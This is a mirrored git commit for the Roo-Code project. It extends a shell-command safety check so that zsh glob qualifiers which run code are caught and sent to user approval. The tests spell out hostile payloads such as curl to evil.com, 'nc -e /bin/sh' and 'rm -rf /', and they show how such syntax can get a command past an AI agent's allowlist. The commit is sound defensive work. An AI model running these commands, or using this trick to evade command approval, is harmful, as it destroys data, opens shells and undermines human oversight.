mirror of
https://github.com/RooVetGit/Roo-Code.git
synced 2026-09-07 08:26:51 +00:00
Handle zsh glob qualifiers correctly (#7667)
This commit is contained in:
parent
966ed76ce2
commit
b50104cc59
2 changed files with 57 additions and 1 deletions
|
|
@ -292,6 +292,27 @@ ls -la || echo "Failed"`
|
|||
expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true)
|
||||
})
|
||||
|
||||
it("detects zsh glob qualifiers with code execution (e:...:)", () => {
|
||||
// Basic glob qualifier with command execution
|
||||
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
|
||||
|
||||
// Various glob patterns with code execution
|
||||
expect(containsDangerousSubstitution("cat ?(e:rm -rf /:)")).toBe(true)
|
||||
expect(containsDangerousSubstitution("echo +(e:sudo reboot:)")).toBe(true)
|
||||
expect(containsDangerousSubstitution("rm @(e:curl evil.com:)")).toBe(true)
|
||||
expect(containsDangerousSubstitution("touch !(e:nc -e /bin/sh:)")).toBe(true)
|
||||
|
||||
// Glob qualifiers in middle of command
|
||||
expect(containsDangerousSubstitution("ls -la *(e:date:) test")).toBe(true)
|
||||
|
||||
// Multiple glob qualifiers
|
||||
expect(containsDangerousSubstitution("cat *(e:whoami:) ?(e:pwd:)")).toBe(true)
|
||||
|
||||
// Glob qualifiers with complex commands
|
||||
expect(containsDangerousSubstitution("ls *(e:open -a Calculator:)")).toBe(true)
|
||||
expect(containsDangerousSubstitution("rm *(e:sudo apt install malware:)")).toBe(true)
|
||||
})
|
||||
|
||||
it("does NOT flag safe parameter expansions", () => {
|
||||
// Regular parameter expansions without dangerous operators
|
||||
expect(containsDangerousSubstitution("echo ${var}")).toBe(false)
|
||||
|
|
@ -324,6 +345,12 @@ ls -la || echo "Failed"`
|
|||
// Safe comparison operators
|
||||
expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false)
|
||||
expect(containsDangerousSubstitution("test $x != $y")).toBe(false)
|
||||
|
||||
// Safe glob patterns without code execution qualifiers
|
||||
expect(containsDangerousSubstitution("ls *")).toBe(false)
|
||||
expect(containsDangerousSubstitution("rm *.txt")).toBe(false)
|
||||
expect(containsDangerousSubstitution("cat ?(foo|bar)")).toBe(false)
|
||||
expect(containsDangerousSubstitution("echo *(^/)")).toBe(false) // Safe glob qualifier (not e:)
|
||||
})
|
||||
|
||||
it("handles complex combinations of dangerous patterns", () => {
|
||||
|
|
@ -349,6 +376,9 @@ ls -la || echo "Failed"`
|
|||
|
||||
// The new zsh process substitution exploit
|
||||
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
|
||||
|
||||
// The zsh glob qualifier exploit
|
||||
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -965,6 +995,25 @@ describe("Unified Command Decision Functions", () => {
|
|||
// Combined with denied commands
|
||||
expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny")
|
||||
})
|
||||
|
||||
it("prevents auto-approval for zsh glob qualifier exploits", () => {
|
||||
// The zsh glob qualifier exploit with code execution
|
||||
const globExploit = "ls *(e:whoami:)"
|
||||
// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
|
||||
expect(getCommandDecision(globExploit, ["ls", "echo"], [])).toBe("ask_user")
|
||||
|
||||
// Various forms should all be blocked
|
||||
expect(getCommandDecision("cat ?(e:rm -rf /:)", ["cat"], [])).toBe("ask_user")
|
||||
expect(getCommandDecision("echo +(e:date:)", ["echo"], [])).toBe("ask_user")
|
||||
expect(getCommandDecision("touch @(e:pwd:)", ["touch"], [])).toBe("ask_user")
|
||||
expect(getCommandDecision("rm !(e:ls:)", ["rm"], [])).toBe("ask_user") // rm not in allowlist, has dangerous pattern
|
||||
|
||||
// Combined with denied commands
|
||||
expect(getCommandDecision("rm *(e:echo test:)", ["echo"], ["rm"])).toBe("auto_deny")
|
||||
|
||||
// Multiple glob qualifiers
|
||||
expect(getCommandDecision("ls *(e:whoami:) ?(e:pwd:)", ["ls"], [])).toBe("ask_user")
|
||||
})
|
||||
})
|
||||
|
||||
it("returns auto_deny for commands with any sub-command auto-denied", () => {
|
||||
|
|
|
|||
|
|
@ -72,6 +72,7 @@ type ShellToken = string | { op: string } | { command: string }
|
|||
* - ${!var} - Indirect variable references
|
||||
* - <<<$(...) or <<<`...` - Here-strings with command substitution
|
||||
* - =(...) - Zsh process substitution that executes commands
|
||||
* - *(e:...:) or similar - Zsh glob qualifiers with code execution
|
||||
*
|
||||
* @param source - The command string to analyze
|
||||
* @returns true if dangerous substitution patterns are detected, false otherwise
|
||||
|
|
@ -105,13 +106,19 @@ export function containsDangerousSubstitution(source: string): boolean {
|
|||
// =(...) creates a temporary file containing the output of the command, but executes it
|
||||
const zshProcessSubstitution = /=\([^)]+\)/.test(source)
|
||||
|
||||
// Check for zsh glob qualifiers with code execution (e:...:)
|
||||
// Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion
|
||||
// This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:)
|
||||
const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source)
|
||||
|
||||
// Return true if any dangerous pattern is detected
|
||||
return (
|
||||
dangerousParameterExpansion ||
|
||||
parameterAssignmentWithEscapes ||
|
||||
indirectExpansion ||
|
||||
hereStringWithSubstitution ||
|
||||
zshProcessSubstitution
|
||||
zshProcessSubstitution ||
|
||||
zshGlobQualifier
|
||||
)
|
||||
}
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue